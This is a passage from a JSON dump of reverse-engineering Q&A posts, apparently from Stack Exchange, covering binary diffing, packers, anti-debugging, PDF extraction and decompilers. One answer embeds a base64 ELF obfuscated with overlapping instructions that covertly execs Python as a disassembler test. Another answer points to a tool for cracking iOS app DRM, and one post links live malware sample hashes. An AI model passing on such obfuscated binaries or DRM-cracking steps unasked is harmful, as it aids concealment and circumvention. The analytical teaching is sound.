        "Answer": "<p>In general, BinDiff in its current version as of this writing (4.x) works by matching attributes on the function level. \nBasically, matching is divided into two phases: first initial matches are generated which are then refined in the drill down phase.</p>\n\n<h2>Initial Matches</h2>\n\n<p>First of all BinDiff associates a signature based on the following attributes to each function:</p>\n\n<ul>\n<li>the number of basic blocks</li>\n<li>the number of edges between those blocks</li>\n<li>the number of calls to subfunctions</li>\n</ul>\n\n<p>This step gives us a set of signatures for each binary which in turn are used to generate the set of initial matches. Following a one-to-one relation, BinDiff selects these initial matches based on the above characteristics.</p>\n\n<p>The next step tries to find matchings on the call graph of each binary: for a verified match, the set of called functions from the matched function is examined in order to find event more matches. This process is repeated as long as new matches are found.</p>\n\n<h2>Drill Down</h2>\n\n<p>In practice, not all functions will be matched by the one-to-one relation induced by the initial matching strategy, so after the initial matchings have been determined we still have a list of unmatched functions.\nThe idea of the drill down phase is to have multiple different function matchings strategies which are applied until a match is found. The order of applying these strategies is important: BinDiff tries those strategies for which it assumes the highest confidence, first. Only if no match could be found, it goes on with the next strategy. This is repeated until BinDiff runs out of strategies, or until all functions are matched. Examples include MD index, match based on function names (i.e. imports), callgraph edges MD index, etc.</p>\n\n<p><a href=\"https://www.sto.nato.int/publications/STO%20Meeting%20Proceedings/RTO-MP-IST-091/MP-IST-091-26.pdf\" rel=\"nofollow noreferrer\">MD-Index paper</a></p>\n\n<p><a href=\"http://static.googleusercontent.com/external_content/untrusted_dlcp/www.zynamics.com/en//downloads/bindiffsstic05-1.pdf\" rel=\"nofollow noreferrer\">Graph-based Comparison of Executable Objects</a></p>\n\n<p><a href=\"http://static.googleusercontent.com/external_content/untrusted_dlcp/www.zynamics.com/en//downloads/dimva_paper2.pdf\" rel=\"nofollow noreferrer\">Structural Comparison of Executable Objects</a></p>\n\n<p>(Disclaimer: working @ team zynamics / google, hopefully I didn't mess up anything, otherwise soeren is going to grill me ;-))</p>\n"
    },
    {
        "Id": "1478",
        "CreationDate": "2013-04-02T12:14:23.807",
        "Body": "<p>I'm just getting into the RE field, and I learned about virtualized packers (like VMProtect or Themida) in a class about a year ago. How often is malware in the wild really packed with virtualized packers, and what is the state of the art in unpacking them for static analysis?</p>\n",
        "Title": "How common are virtualized packers in the wild?",
        "Tags": "|obfuscation|static-analysis|malware|unpacking|virtualizers|",
        "Answer": "<p>I can support the presented view of the other responders. You will rarely encounter code virtualization when looking at in the wild samples.</p>\n\n<p>Just to add, here is a recent <a href=\"http://linuxch.org/poc2012/Tora,%20Devirtualizing%20FinSpy.pdf\">case-study by Tora</a> looking at the custom virtualization used in FinFisher (sorry, direct link to PDF, have no other source).</p>\n\n<p>The VM used here has only 11 opcodes, thus this example can be easily understood and used to get an impression of some common design principles behind custom VMs.</p>\n"
    },
    {
        "Id": "1526",
        "CreationDate": "2013-04-03T03:09:07.193",
        "Body": "<p>I've been looking for an open-source GUI tool to extract PDF's in an automated way on Windows systems. I've used Didier Steven's tools with great interest for a while, but cannot make sense of how to use his <a href=\"http://blog.didierstevens.com/programs/pdf-tools/\">PDF decomposing</a>/<a href=\"http://blog.didierstevens.com/2008/10/20/analyzing-a-malicious-pdf-file/\">analyzing tools</a>, even after watching some of his videos. They seem to require significant understanding of the underlying PDF construction, and possibly much more.</p>\n\n<p>For SWF files, the tool <a href=\"http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-p/5440167\">SWFScan</a> is the kind I'm looking for: you load the file in question into the tool. From there, you can explore the links, scripts, and images. It even auto-analyses code and shows which parts may have security issues and what the issue is for each one, then gives a webpage reference with more information.</p>\n\n<p>Does anyone know of a good open-source GUI for Windows that can load a PDF and not execute it but extract all the scripts, compiled code, text, links, images, etc.? Ideally, it would show the relation of each, like when you click on a certain image, it would tell you what script(s) are run, which URL it goes to, and let you see the image on its own.</p>\n\n<p>PDF's are so common, next to SWF, that this kind of tool seems like it would already be common. I may have overlooked it/them.</p>\n",
        "Title": "Open source GUI tool for decomposing a PDF",
        "Tags": "|decompilation|tools|windows|",
        "Answer": "<p>While there is no GUI, I believe it's worth mentioning command lines tools that will help with the <code>in an automated way</code> part of your question. I've personally used the <a href=\"https://mupdf.com/\" rel=\"nofollow noreferrer\"><code>mupdf</code></a> associated command line tool: <code>mutool</code>.</p>\n\n<p>For example working on the following <a href=\"http://storage.googleapis.com/google-code-attachments/openjpeg/issue-235/comment-0/Bug691816.pdf\" rel=\"nofollow noreferrer\">PDF file</a>, here is what you would do to extract the encapsulated JPX stream:</p>\n\n<pre><code>$ mutool info Bug691816.pdf \nBug691816.pdf:\n\nPDF-1.5\nInfo object (49 0 R):\n&lt;&lt;/ModDate(D:20101122114310-08'00')/CreationDate(D:20101122114251-08'00')/Title(ID1561x.indd)/Creator(Adobe InDesign 1.5.2)/Producer(Adobe PDF Library 4.16)&gt;&gt;\nPages: 1\n\nRetrieving info from pages 1-1...\nMediaboxes (1):\n    1   (54 0 R):   [ 0 0 612 792 ]\n\nImages (1):\n    1   (54 0 R):   [ JPX ] 300x161 8bpc Idx (58 0 R)\n</code></pre>\n\n<p>So you simply need to:</p>\n\n<pre><code>$ mutool show -be -o obj58.jp2 Bug691816.pdf 58\n</code></pre>\n\n<p>You can verify:</p>\n\n<pre><code>$ file obj58.jp2\nobj58.jp2: JPEG 2000 Part 1 (JP2)\n</code></pre>\n\n<p>See documentation:</p>\n\n<ul>\n<li><a href=\"https://mupdf.com/docs/manual-mutool-show.html\" rel=\"nofollow noreferrer\">A tool for displaying the internal objects in a PDF file.</a></li>\n</ul>\n\n<hr>\n\n<p>For <code>PDF/A-3: EmbeddedFile</code> (as in <a href=\"https://github.com/ManuelB/add-zugferd-to-pdf/raw/61fe76c7469666742dc54a4a52ee56d3d6d4282d/src/test/resources/ferd-examples/ZUGFeRD_1p0_BASIC_Einfach.pdf\" rel=\"nofollow noreferrer\">this file</a>) you can even run:</p>\n\n<pre><code>$ mutool portfolio ZUGFeRD_1p0_BASIC_Einfach.pdf x 0 ZUGFeRD-invoice.xml\n$ head ZUGFeRD-invoice.xml\n&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;!-- \n\nNutzungsrechte \nZUGFeRD Datenformat Version 1.0, 25.6.2014\nBeispiel Version 29.09.2014\n\nZweck des Forums f\u00fcr elektronische Rechnungen bei der AWV e.V (\u201eFeRD\u201c) ist u.a. die Schaffung und Spezifizierung \neines offenen Datenformats f\u00fcr strukturierten elektronischen Datenaustausch auf der Grundlage offener und nicht \ndiskriminierender, standardisierter Technologien (\u201eZUGFeRD Datenformat\u201c)\n</code></pre>\n\n<p>See documentation:</p>\n\n<ul>\n<li><a href=\"https://mupdf.com/docs/manual-mutool-portfolio.html\" rel=\"nofollow noreferrer\">Manipulate PDF portfolios.</a></li>\n</ul>\n"
    },
    {
        "Id": "1531",
        "CreationDate": "2013-04-03T08:11:29.310",
        "Body": "<p>I analyzed some binaries in x86/x86-64 using some obfuscation tricks. One was called <em>overlapping instructions</em>. Can someone explain how does this obfuscation work and how to work around?</p>\n",
        "Title": "What is \"overlapping instructions\" obfuscation?",
        "Tags": "|obfuscation|binary-analysis|deobfuscation|",
        "Answer": "<p>Because x86 instructions can be any length and don't need to be aligned, one instruction's immediate value can be another instruction altogether. For example:</p>\n\n<pre><code>00000000  0531C0EB01        add eax,0x1ebc031\n00000005  055090EB01        add eax,0x1eb9050\n0000000A  05B010EB01        add eax,0x1eb10b0\n0000000F  EBF0              jmp short 0x1\n</code></pre>\n\n<p>This does exactly what it says, until the jump. When it jumps, the immediate value being added to eax become an instruction, so the code looks like:</p>\n\n<pre><code>00000000  05                db 5\n00000001  31C0              xor ax,ax           xor ax, ax\n00000003  EB01              jmp short 0x6\n00000005  05                db 5\n00000006  50                push ax             push ax\n00000007  90                nop\n00000008  EB01              jmp short 0xb\n0000000A  05                db 5\n0000000B  B010              mov al,0x10         mov al,0x10\n....\n</code></pre>\n\n<p>The instructions which are actually significant are shown in the right-hand column. In this example, short jump instructions are used to skip the <code>add eax</code> part of the instruction (<code>05</code>). It should be noted that this could be done more effectively by using an single-byte to eat the <code>05</code>s, like <code>3C05</code> which is <code>cmp al, 0x5</code>, and would be harmless in code that doesn't care about the flags.</p>\n\n<p>In the pattern above, you easily replace all the <code>05</code>s with <code>90</code> (nop) to view the correct disassembly. This can be made trickier by using the <code>05</code>s as immediate values to hidden code (that the execution depends on). In reality, the person obfuscating the code would probably not use <code>add eax</code> over and over again, and might change the execution order to make it messier to trace.</p>\n\n<p>I prepared a sample using the pattern above. This is a 32-bit Linux ELF file in base64. The effect of the hidden code is running <code>execve(\"//usr/bin/python\", 0, 0)</code>. I suggest you don't run random binaries from SE answers. You can, however, use it to test your disassemblers. IDA, Hopper and objdump all fail miserably at first glance, although I imagine you can get IDA to do it correctly somehow.</p>\n\n<pre><code>f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAYIAECDQAAAAoAQAAAAAAADQAIAABACgAAwACAAEAAAAA\nAAAAAIAECACABAgUAQAAFAEAAAUAAAAAEAAAAAAAAAAAAAAAAAAABTHA6wEFUJDrAQWwEOsBBffg\n6wEF9+DrAQWJw+sBBbRu6wEFsG/rAQX34+sBBbRo6wEFsHTrAQVQkOsBBbR56wEFsHDrAQX34+sB\nBbQv6wEFsG7rAQVQkOsBBbRp6wEFsGLrAQX34+sBBbQv6wEFsHLrAQVQkOsBBbRz6wEFsHXrAQX3\n4+sBBbQv6wEFsC/rAQVQkOsBBTHJ6wEF9+HrAQWJ4+sBBbAL6wEFzYDrAelN////AC5zaHN0cnRh\nYgAudGV4dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAEA\nAAAGAAAAYIAECGAAAAC0AAAAAAAAAAAAAAAQAAAAAAAAAAEAAAADAAAAAAAAAAAAAAAUAQAAEQAA\nAAAAAAAAAAAAAQAAAAAAAAA=\n</code></pre>\n"
    },
    {
        "Id": "1539",
        "CreationDate": "2013-04-03T14:10:49.680",
        "Body": "<p>I'd like to improve my skill as a reverse engineer. And thus I am looking for a location to find these.</p>\n",
        "Title": "Where to find a hard crackme",
        "Tags": "|obfuscation|unpacking|crackme|",
        "Answer": "<p>Here is a just closed reverse engineering challenge that was posted by Halvar Flake:\n<a href=\"http://addxorrol.blogspot.kr/2013/01/encouraging-female-reverse-engineers.html\" rel=\"nofollow\">http://addxorrol.blogspot.kr/2013/01/encouraging-female-reverse-engineers.html</a></p>\n\n<p>The winner and a link to her very detailed and well written report is linked on this page:\n<a href=\"http://addxorrol.blogspot.kr/2013/03/congratulations-marion.html\" rel=\"nofollow\">http://addxorrol.blogspot.kr/2013/03/congratulations-marion.html</a></p>\n\n<p>This is much more difficult than most crackme's that I have encountered and is an example of a complex and obfuscated piece of Windows malware.</p>\n"
    },
    {
        "Id": "1541",
        "CreationDate": "2013-04-03T14:42:49.297",
        "Body": "<p>Inclusion of an <code>INT 2D</code> instruction appears to be a fairly common anti-debugging tactic used by Windows malware authors. From what I understand, it causes a process to act differently when a debugger is attached from when it is not attached.</p>\n\n<p>I have read that this is due in part to an asynchronous (not part of normal program flow) increment to the instruction pointer. This increment can be made to lead to instruction scission.</p>\n\n<p>Could someone explain this anti-debugging tactic, specifically <em>why</em> this increment to the instruction pointer occurs, and what happens when a debugger <em>is</em> and <em>is not</em> attached.</p>\n",
        "Title": "INT 2D Anti-Forensic Method",
        "Tags": "|windows|static-analysis|malware|anti-debugging|",
        "Answer": "<blockquote>\n  <p>The interrupt 0x2D is a special case. When it is executed, Windows\n  uses the current EIP register value as <strong>the exception address</strong>, and then\n  it increments by one <strong>the EIP register value</strong>. However, Windows also\n  examines the value in the EAX register to determine how to adjust <strong>the\n  exception address</strong>. If the EAX register has the value of 1, 3, or 4 on\n  all versions of Windows, or the value 5 on Windows Vista and later,\n  then Windows will increase by one <strong>the exception address</strong>. Finally, it\n  issues an EXCEPTION_BREAKPOINT (0x80000003) exception if a debugger is\n  present. The interrupt 0x2D behaviour can cause trouble for debuggers.\n  The problem is that some debuggers might use the EIP register value as\n  the address from which to resume, while other debuggers might use <strong>the\n  exception address</strong> as the address from which to resume. This can result\n  in a single-byte instruction being skipped, or the execution of a\n  completely different instruction because the first byte is missing.\n  These behaviours can be used to infer the presence of the debugger.\n  The check can be made using this code (identical for 32-bit and\n  64-bit) to examine either the 32-bit or 64-bit Windows environment:</p>\n</blockquote>\n\n<p>At first, I didn't understand the meaning of the \"exception address\" and I think I'm not the only one. Fortunately, the Dr. Fu's blog have a better explanation about it.</p>\n\n<p>From Dr Fu's blog:</p>\n\n<blockquote>\n  <p>Here the \"exception address\" is the \"EIP value of the context\" (which\n  to be copied back to user process), and the \"EIP register value\" is\n  the real EIP value of the user process when the exception occurs.</p>\n</blockquote>\n"
    },
    {
        "Id": "1545",
        "CreationDate": "2013-04-03T16:28:42.250",
        "Body": "<p>I know no one that works as of today (i.e., kernels not way too old) and I wonder if anybody found or knows any protector for Linux either commercial, open source, used in malware, etc...</p>\n",
        "Title": "Linux protectors: any good one out there?",
        "Tags": "|linux|unpacking|",
        "Answer": "<p>The majority of modern ELF binaries are protected using UPX or a variant thereof. <sup>1,2</sup> However, custom packers have been observed in the wild, including both UPX based- and non-UPX based-custom packers.</p>\n\n<ul>\n<li>The simplest variation of the UPX packer used out in the wild is the <a href=\"https://i.stack.imgur.com/AUgrm.jpg\" rel=\"nofollow noreferrer\">'LSD' packer</a>, in which the string 'UPX' is changed to 'LSD'. An example of this was a <a href=\"https://www.fortinet.com/blog/threat-research/rocke-variant-ready-to-box-mining-challengers.html\" rel=\"nofollow noreferrer\">XMR coin miner written in Go which targeted systems running Jenkins</a>. </li>\n</ul>\n\n<hr>\n\n<ul>\n<li><p><strong><code>mumblehard</code></strong> custom protector - not based on UPX</p>\n\n<blockquote>\n  <p>The whole packer actually consists of about 200 assembly instructions.\n  Another notable observation: system calls are made directly by using <code>int 80h</code> instructions. Another hint that it was written in assembly is that functions do not have the usual prologue to manage the stack. By doing system calls with interrupts, Mumblehard ELF binaries avoid any external dependency.\n  Furthermore, the packer works on both Linux and BSD systems. <sup>1</sup></p>\n</blockquote>\n\n<p>samples:</p>\n\n<ul>\n<li><a href=\"https://malshare.com/sample.php?action=detail&amp;hash=6fe8c28022c0acb99ce1c48214043dee\" rel=\"nofollow noreferrer\">20b567084bcc6bd5ac47b2ab450bbe838ec88fc726070eb6e61032753734d233</a></li>\n<li><a href=\"https://malshare.com/sample.php?action=detail&amp;hash=8c0ed8b22000d7493aa94a0c2e587a4c\" rel=\"nofollow noreferrer\">78c19897d08e35c0e50155c87f501e20f2d1dbfd38607fc8e12711d086d52204</a></li>\n<li><a href=\"https://malshare.com/sample.php?action=detail&amp;hash=88b62d23b9f2b6f866774b82962442d7\" rel=\"nofollow noreferrer\">84dfe2ac489ba41dfb25166a983ee2d664022bbcc01058c56a1b1de82f785a43</a></li>\n<li><a href=\"https://malshare.com/sample.php?action=detail&amp;hash=86f0b0b74fe8b95b163a1b31d76f7917\" rel=\"nofollow noreferrer\">747d985d4bd302e974474dc9ab44cb1f60cb06206f3639c5d603db94395b877b</a></li>\n<li><a href=\"https://malshare.com/sample.php?action=detail&amp;hash=3437bd29e5c8fe493603581dbb0285c7\" rel=\"nofollow noreferrer\">9512cd72e901d7df95ddbcdfc42cdb16141ff155e0cb0f8321069212e0cd67a8</a></li>\n<li><a href=\"https://malshare.com/sample.php?action=detail&amp;hash=b1338cd9b5a853d8920f5a868108135b\" rel=\"nofollow noreferrer\">a5915c3060f5891242514b7899975393ef3d3cb87b33b6a767cffce4feac215f</a></li>\n</ul></li>\n</ul>\n\n<hr>\n\n<ul>\n<li><p>a variant of <strong><code>tiny XMR mooner</code></strong> uses a custom packer according to the r2con 2018 presentation <a href=\"https://github.com/radareorg/r2con2018/blob/master/talks/unpacking/Unpacking-a-Non-Unpackables.pdf\" rel=\"nofollow noreferrer\">Unpacking the Non-Unpackable</a>. </p>\n\n<ul>\n<li><a href=\"https://www.virustotal.com/gui/file/8a0d9c84cfb86dd1f8c9acab87738d2cb82106aee0d88396f6fa86265ff252dd/detection\" rel=\"nofollow noreferrer\">8a0d9c84cfb86dd1f8c9acab87738d2cb82106aee0d88396f6fa86265ff252dd</a> </li>\n<li><p>md5sum from presentation: <code>4f1fdacaee8e3c612c9ffbbe162042b2</code></p>\n\n<p>Note this particular file was the subject of <a href=\"https://xorl.wordpress.com/2017/12/21/the-tiny-xml-mooner-linux-cryptominer-malware/\" rel=\"nofollow noreferrer\">The \u201cTiny XMR mooner\u201d Linux cryptominer malware</a> (the sha256 sum is identical) but no mention is made in this analysis of packing or any other form of binary protection.</p></li>\n</ul></li>\n</ul>\n\n<hr>\n\n<ul>\n<li><strong><code>Tsunami</code></strong> with custom packer\n\n<ul>\n<li><a href=\"https://malshare.com/sample.php?action=detail&amp;hash=171edd284f6a19c6ed3fe010b79c94af\" rel=\"nofollow noreferrer\">Malshare sample</a></li>\n<li><a href=\"https://www.virustotal.com/gui/file/f22ffc07e0cc907f00fd6a4ecee09fe8411225badb2289c1bffa867a2a3bd863/detection\" rel=\"nofollow noreferrer\">f22ffc07e0cc907f00fd6a4ecee09fe8411225badb2289c1bffa867a2a3bd863</a> (Virustotal)</li>\n<li>there used to be an analysis available at <a href=\"http://pwning.fun/article/2017/11/17/UnPacking_a_Linux_Tsunami_Sample.html\" rel=\"nofollow noreferrer\">pwning.fun</a> but it looks like its been taken down.</li>\n</ul></li>\n</ul>\n\n<h3>References</h3>\n\n<ol>\n<li><p><a href=\"http://www.s3.eurecom.fr/docs/oakland18_cozzi.pdf\" rel=\"nofollow noreferrer\">Understanding Linux Malware</a></p></li>\n<li><p><a href=\"http://s3.eurecom.fr/~invano/slides/recon18_linux_malware.pdf\" rel=\"nofollow noreferrer\">Modern Linux Malware Exposed</a></p></li>\n<li><p><a href=\"https://www.welivesecurity.com/wp-content/uploads/2015/04/mumblehard.pdf\" rel=\"nofollow noreferrer\">Unboxing Linux/Mumblehard</a> (2015) - ESET</p></li>\n</ol>\n"
    },
    {
        "Id": "1560",
        "CreationDate": "2013-04-04T07:49:50.253",
        "Body": "<p>Let's say I found 'some' file (might be an executable, might be data, or something else) and want to run or read it. I open this file in a text editor, but the format isn't readable. Examples include: Java class, Windows executable, SQLite database, DLL, ...</p>\n\n<p><em>I do know the file format, if we can trust the extension.</em></p>\n\n<p>Is there somewhere a site or database with a lot of information about a lot encrypted or binary file formats? Information should include:</p>\n\n<ul>\n<li>File use</li>\n<li>File layout and structure</li>\n<li>Eventually programs that can read or execute the file</li>\n</ul>\n\n<p>So I'm not looking for a way to identify the format of the file. I already know the file format, but need to have information about that format. When is the format used (in what applications), what's the format's structure?</p>\n",
        "Title": "Where to find information about a file format?",
        "Tags": "|file-format|",
        "Answer": "<p>This is the tool I have been using when I have needed to recognize a file format or files inside a (big) dump. It has a big signature BD file that you/people can contribute to.</p>\n\n<blockquote>\n  <p><strong>Signsrch 0.2.4 (signsrch)</strong></p>\n  \n  <p>tool for searching signatures inside files, extremely useful in\n  reversing engineering for figuring or having an initial idea of what\n  encryption/compression algorithm is used for a proprietary protocol or\n  file. it can recognize tons of compression, multimedia and encryption\n  algorithms and many other things like known strings and anti-debugging\n  code which can be also manually added since it's all based on a text\n  signature file read at runtime and easy to modify. supports\n  multithreading, scanning of folders using wildcards, scanning of\n  processes, conversion of the executables offsets in memory offsets,\n  loading of custom signature files and their automatic checking for\n  avoiding errors, automatic finding of the instructions that reference\n  the found signatures (like \"Find references\" of Ollydbg) and the\n  launching of an executable placing an INT3 byte at the desired memory\n  offset (for example one of those retrieved with the -F option, watch\n  the Video setion for an example). the tool supports 8, 16, 32 and 64\n  bits, float and double plus automatic CRC table creation and C style\n  strings.</p>\n</blockquote>\n\n<p>Source: <a href=\"http://aluigi.altervista.org/mytoolz.htm\" rel=\"nofollow\">http://aluigi.altervista.org/mytoolz.htm</a></p>\n"
    },
    {
        "Id": "1572",
        "CreationDate": "2013-04-04T16:18:09.057",
        "Body": "<p>Using IDA 6.2 (and also with IDA 6.4), I'm trying out the Proximity viewer to find the path between 2 functions as described at the <a href=\"http://www.hexblog.com/?p=468\" rel=\"nofollow noreferrer\">hexblog post here</a>.</p>\n\n<p>Using the <code>Xrefs From/To</code> (old option) it shows the clear path: <code>AllocateVolume</code> -> <code>VolumeSortCmp</code> -> <code>CompareVolumeComponents</code> as shown in the screenshot below</p>\n\n<p><a href=\"https://i.stack.imgur.com/jLcRr.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/h6BPH.png\" alt=\"\" title=\"Hosted by imgur.com\" /></a></p>\n\n<p>Apart from the <code>add name</code> and <code>hide childs</code> options not existing in the context menu (as described in the blog) of the proximity browser as seen in the screenshot below\n<a href=\"https://i.stack.imgur.com/eNVEB.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lpErR.png\" alt=\"\" title=\"Hosted by imgur.com\" /></a>\nthe <code>find path</code> menu does list <code>CompareVolumeComponents</code> in the dialog that opens (so it has some knowledge of what is reachable). \n<a href=\"https://i.stack.imgur.com/KGSOm.jpg\" rel=\"nofollow noreferrer\"></a></p>\n\n<p>However when I press search I expected a nice clean graph (as again shown in the blog and added as reference below) showing only the the 3 relevant nodes, but instead nothing seems to change to the proximity browser layout as I still see 30 something nodes. </p>\n\n<p><strong>Hexblog condensed <code>Find path</code> example result</strong>\n<img src=\"https://i.stack.imgur.com/2CeHx.png\" alt=\"hexblog condensed example result\"></p>\n\n<p><strong>My result</strong>\n<img src=\"https://i.stack.imgur.com/WZO0I.png\" alt=\"enter image description here\"></p>\n\n<p>Is the proximity viewer malfunctioning or are my expectations off? Or am i doing something wrong here?</p>\n",
        "Title": "IDA Proximity viewer not finding obvious paths?",
        "Tags": "|ida|",
        "Answer": "<p>I think that the problem is a misunderstanding of how the Proximity Viewer works. It will not clear out all the other nodes in the graph when finding a path: it simply finds a path and adds the required nodes to the graph. If you want to view only the nodes between AllocateVolume and CompareVolumeComponents, do the following:</p>\n\n<ol>\n<li>Navigate to AllocateVolume and press '-'.</li>\n<li>Right click on the center node AllocateVolume and select \"Collapse  children\", then, \"Collapse parents\" as well.</li>\n<li>Then, right click outside this node in the proximity view and select \"Add name\".</li>\n<li>Find \"CompareVolumeComponents\" and add it.</li>\n<li>After this step, right click on the AllocateVolume node, select \"Find Path\" and select the only other available node.</li>\n</ol>\n\n<p>If everything goes OK, you will have a graph with only the functions required to display a path from AllocateVolume to CompareVolumeComponents. If it does not, there may be some problem with the current code of the Proximity Viewer (in that case, please contact support at Hex-Rays for a fix). Also, you may want to take a look to the \"callgraph\" plugin in the SDK: the algorithm to find paths is pretty much the same and you may get an idea about why it isn't working.</p>\n\n<p>As a side note, a little explanation of how the PV works: The algorithm does not consider a path only calls/jmps as (Q)WinGraph32 does (IIRC) but also consider a path when there are data references. If a function A references, in any way, function B, then the proximity viewer will show that reference (with a gray edge instead of a blue edge). BTW, I'm the guy who wrote it.</p>\n"
    },
    {
        "Id": "1584",
        "CreationDate": "2013-04-05T03:42:38.057",
        "Body": "<p>Generally, it's a complex topic.  There seems to be very little in the way of example or linear progression in to non-trivial examples.  </p>\n\n<p>It's possible my google-fu is weak, but I can't seem to locate decent tutorials on using binary instrumentation frameworks (Pin, DynamoRIO, other).  </p>\n\n<p>What resources could someone who is interested use beyond stumbling around until they get it working?  </p>\n\n<p>After some of the answers, I thought I should tack on that dynamorio.org is sometimes non-responsive.  The project is on googlecode <a href=\"https://code.google.com/p/dynamorio/downloads/list\" rel=\"nofollow\">here</a>.  </p>\n",
        "Title": "Where can someone interested in the topic learn more about Dynamic binary instrumentation?",
        "Tags": "|dynamic-analysis|",
        "Answer": "<p>If you've never touched DBI before, I found <a href=\"http://rads.stackoverflow.com/amzn/click/1608454584\">this book</a> to be a good use of $17.  Written by a long-time researcher in the field, it describes the theory and practice behind DBI, including multiple DBI platforms, exotic DBI tools, etc.</p>\n"
    },
    {
        "Id": "1594",
        "CreationDate": "2013-04-05T10:55:56.913",
        "Body": "<p>I browsed a lot, but can't find any resources for reverse engineering an IPA file (iPhone application). Is there any method to reverse engineer an IPA file to its source? I've tried to rename it to zip and open it via Winrar/Winzip to view its source, but it doesn't seem helpful.</p>\n<p>What are the possibilities to decompile/reverse engineer an IPA file to its source code?</p>\n",
        "Title": "What are the possibilities for reverse engineering an IPA file to its source?",
        "Tags": "|decompilation|ios|",
        "Answer": "<p><code>Rasticrac</code> can also automate the decryption (FairPlay DRM) of the iOS binary and is very easy to use!</p>\n\n<blockquote>\n  <p><strong>Rasticrac</strong></p>\n  \n  <p>Rapid Advanced Secure Thorough Intelligent Gaulish Nuclear Acclaimed Cracker</p>\n  \n  <p>Rasticrac is a very powerful tool to decrypt the iOS app binaries. You can install Rasticrac with Cydia by adding the following Repo source in Cydia:\n  <a href=\"http://cydia.iphonecake.com\" rel=\"nofollow\">http://cydia.iphonecake.com</a> </p>\n</blockquote>\n"
    },
    {
        "Id": "1596",
        "CreationDate": "2013-04-05T11:01:41.030",
        "Body": "<p>Is reverse engineering an application the same as decompiling it?</p>\n\n<p>What is the core difference between reverse engineering an application and decompiling an application.</p>\n",
        "Title": "Are reverse engineering and decompilation the same?",
        "Tags": "|decompilation|",
        "Answer": "<p>Reverse Engineering is a broader term, of which, decompilation is simply one--albeit powerful--tool.  Decompilation is a form of static analysis which is investigating a program by not running it.  Don't forget that reverse engineering can also mean taking apart the device that's running a program.  <a href=\"http://arxiv.org/abs/0901.3482\" rel=\"nofollow\">Some of my favorite exploits have dealt with using the property of some kinds of memories to continue holding values after the machine has been shut off.</a>  </p>\n\n<p>A small, non-exhaustive list of techniques for reverse engineering:</p>\n\n<p><strong>Static Analysis Techniques</strong></p>\n\n<p>String analysis -->  Using a program like \"strings\" to discover any readable text in the binary.  On non-packed files, this can often tip you off as to what platform the binary was compiled in.  If the binary was compiled with symbols, you can even get access to variable names that the author had used, which can help in subsequent analysis.  </p>\n\n<p>Decompilation  -->  Cruder techniques might include unix tools like objdump, cracking open the binary in a hex editor, etc.  </p>\n\n<p><strong>Dynamic Analysis</strong></p>\n\n<p>Fuzz Testing -->  Throwing multiple kinds of (possibly) invalid data to see how the application responds</p>\n\n<p>Debugging  -->  Coupled with Fuzz testing above will let you see how the application is actually working on the level of registers &amp;&amp; assembly.  (If using GDB or ollydbg.)  </p>\n\n<p>\"Eavesdropping\" on circuits or radiation emitted by a device-->  It's exotic, but <a href=\"http://en.wikipedia.org/wiki/Van_Eck_phreaking\" rel=\"nofollow\">it's real.</a></p>\n\n<p><strong>Summary</strong>\nSo decompilation is just one tool in the much broader kit of \"reverse engineering.\"  </p>\n"
    },
    {
        "Id": "1597",
        "CreationDate": "2013-04-05T11:06:41.193",
        "Body": "<p>p-code is the intermediate code that was used in Visual Basic (before .NET). I would like to know where I can find resources/tools related to analysis of these virtual machine codes. </p>\n",
        "Title": "Reverse engineering a Visual Basic p-code binary",
        "Tags": "|decompilation|visual-basic|",
        "Answer": "<p>They are some tools can be useful in reversing p-code binary</p>\n\n<p><strong>vb-decompiler lite (free ver)</strong>: very good decompiler can be download from <a href=\"http://www.vb-decompiler.org/\">vb-decompiler official site</a></p>\n\n<p><strong>P32Dasm</strong>: another p-code decompiler <a href=\"http://progress-tools.x10.mx/p32dasm.html\">see here</a>\nand see below of page how they debug p-code with IDA</p>\n\n<p><strong>WKTVBDE</strong>: p-code debugger, I don't work with it but good to try, to download search tuts4you.com site</p>\n"
    },
    {
        "Id": "1603",
        "CreationDate": "2013-04-05T12:46:18.960",
        "Body": "<p>There is an old help file containing Windows API I used few years ago with ollydebug, which can jump to the appropriate help page of function when double clicking on the function in the disassembly window.</p>\n\n<p>Is there a more recent reference like this which includes also Windows 7 library calls ?</p>\n\n<p>I managed to find an online reference in Microsoft website but a local file is much easier to work with...</p>\n",
        "Title": "Windows API reference for OllyDbg",
        "Tags": "|winapi|ollydbg|",
        "Answer": "<p>I'd recommend installing the <a href=\"http://msdn.microsoft.com/en-us/library/ms717422.aspx\" rel=\"nofollow\">Windows SDK</a> documentation and the <a href=\"http://www.microsoft.com/en-us/download/details.aspx?id=11800\" rel=\"nofollow\">Driver Development Kit</a> if you don't have them already. It might seem like overkill but it's extremely helpful to have both of these documentation kits locally. </p>\n\n<p>A word of caution when installing the Windows SDK documentation. Microsoft removed dexplore.exe (viewer) in the Windows 7 2010 SDK update. It now relies on the default browser and the documentation has to be pre-configured and downloaded. The new viewing option feels much slower than dexplorer.exe. I have the Windows XP SDK and the Windows 7 SDK documentation installed because I prefer dexplorer.exe</p>\n"
    },
    {
        "Id": "1612",
        "CreationDate": "2013-04-05T14:55:52.963",
        "Body": "<p>I'm adding a feature to my Linux debugger (I'm using Ptrace to manipulate the traced process as well as libbfd/libopcodes) to unwind the stack and determine if discrepancies exist between each CALL's allocated stack space and a statically derived local variable size, printing the address and local stack size of each frame along the way.</p>\n\n<p>My general methodology is to take the address in the base pointer (EBP/RBP), increment the pointer to should should contain the stored frame pointer, dereference that address, examine it with PTRACE_PEEKDATA and repeat until I dereference an address occupying an area outside the stack.</p>\n\n<p>I know how to check code/data segment registers, but ideally I'd like a method to check if I'm still inside the callstack even if the segmentation has been changed by W^X memory pages or an otherwise nonexecutable stack.</p>\n\n<p>In short, how can I check (in the general case) when I've moved outside the stack without triggering a general protection fault?</p>\n\n<p>(As as aside, I realize I'm operating on the assumption that checking an address's page segment is the ideal methodology here -- perhaps another simpler method exists to determine if an address is within the current process's stack space)</p>\n",
        "Title": "How can I check I've moved outside the stack without triggering a protection fault?",
        "Tags": "|debuggers|linux|x86|callstack|segmentation|",
